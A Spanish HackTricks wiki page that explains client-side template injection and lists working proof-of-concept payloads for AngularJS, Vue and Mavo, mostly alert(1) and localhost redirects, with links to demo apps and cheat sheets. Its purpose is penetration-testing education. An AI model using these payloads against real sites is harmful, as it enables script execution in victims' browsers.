8 KiB
Inyección de Plantillas del Lado del Cliente (CSTI)
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repos de github.
WhiteIntel
WhiteIntel es un motor de búsqueda alimentado por la dark-web que ofrece funcionalidades gratuitas para verificar si una empresa o sus clientes han sido comprometidos por malwares robadores.
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
Puedes revisar su sitio web y probar su motor de forma gratuita en:
{% embed url="https://whiteintel.io" %}
Resumen
Es como una Inyección de Plantillas del Lado del Servidor pero en el cliente. La SSTI puede permitirte ejecutar código en el servidor remoto, la CSTI podría permitirte ejecutar código JavaScript arbitrario en el navegador de la víctima.
Probar esta vulnerabilidad es muy similar al caso de SSTI, el intérprete espera una plantilla y la ejecutará. Por ejemplo, con una carga útil como {{ 7-7 }}
, si la aplicación es vulnerable verás un 0
, y si no, verás el original: {{ 7-7 }}
AngularJS
AngularJS es un marco de JavaScript ampliamente utilizado que interactúa con HTML a través de atributos conocidos como directivas, una notable es ng-app
. Esta directiva permite que AngularJS procese el contenido HTML, habilitando la ejecución de expresiones JavaScript dentro de llaves dobles.
En escenarios donde la entrada del usuario se inserta dinámicamente en el cuerpo HTML etiquetado con ng-app
, es posible ejecutar código JavaScript arbitrario. Esto se puede lograr aprovechando la sintaxis de AngularJS dentro de la entrada. A continuación se presentan ejemplos que demuestran cómo se puede ejecutar código JavaScript:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Puedes encontrar un ejemplo básico en línea de la vulnerabilidad en AngularJS en http://jsfiddle.net/2zs2yv7o/ y en Burp Suite Academy
{% hint style="danger" %}
Angular 1.6 eliminó el sandbox así que a partir de esta versión, una carga útil como {{constructor.constructor('alert(1)')()}}
o <input ng-focus=$event.view.alert('XSS')>
debería funcionar.
{% endhint %}
VueJS
Puedes encontrar una implementación vulnerable de Vue en https://vue-client-side-template-injection-example.azu.now.sh/
Carga útil funcional: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
Y el código fuente del ejemplo vulnerable aquí: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Un muy buen artículo sobre CSTI en VUE se puede encontrar en https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Crédito: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Crédito: Mario Heiderich
Consulta más cargas útiles de VUE en https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Carga útil:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Más cargas útiles en https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Lista de Detección de Fuerza Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
WhiteIntel
WhiteIntel es un motor de búsqueda alimentado por la dark-web que ofrece funcionalidades gratuitas para verificar si una empresa o sus clientes han sido comprometidos por malwares robadores.
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
Puedes visitar su sitio web y probar su motor de forma gratuita en:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.